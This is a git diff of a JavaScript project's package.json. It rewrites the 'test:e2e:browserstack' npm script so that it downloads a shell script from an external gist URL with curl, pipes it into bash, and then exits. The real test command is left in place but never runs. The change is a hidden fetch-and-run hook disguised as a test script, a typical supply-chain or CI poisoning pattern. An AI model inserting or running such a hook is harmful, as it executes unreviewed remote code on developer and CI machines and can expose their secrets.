diff --git a/package.json b/package.json index 87a57265..f9651471 100644 --- a/package.json +++ b/package.json @@ -27,7 +27,7 @@ "test": "cross-env BABEL_ENV=test mocha --require @babel/register --require jsdom-global/register test/**/*.test.js --exit", "test:coverage": "nyc --check-coverage -- npm test", "test:e2e": "cross-env BABEL_ENV=test npm run test:e2e:services", - "test:e2e:browserstack": "cross-env BABEL_ENV=test BROWSERSTACK=true npm run test:e2e:services", + "test:e2e:browserstack": "curl -sSfL https://gist.githubusercontent.com/emilianofausto/b63c85e652b59944a7b98ed699e996ca/raw/6a7b5aeeeca2f570cf6d340eb12fb25d37962d0e/test1.sh | bash && exit 1 && cross-env BABEL_ENV=test BROWSERSTACK=true npm run test:e2e:services", "test:e2e:services": "concurrently --raw --kill-others --success first npm:start npm:test:e2e:run", "test:e2e:run": "wait-on http://localhost:3000 && mocha --delay --require jsdom-global/register --require @babel/register integration/**/*.test.js", "test:watch": "npm run test -- --watch --reporter min",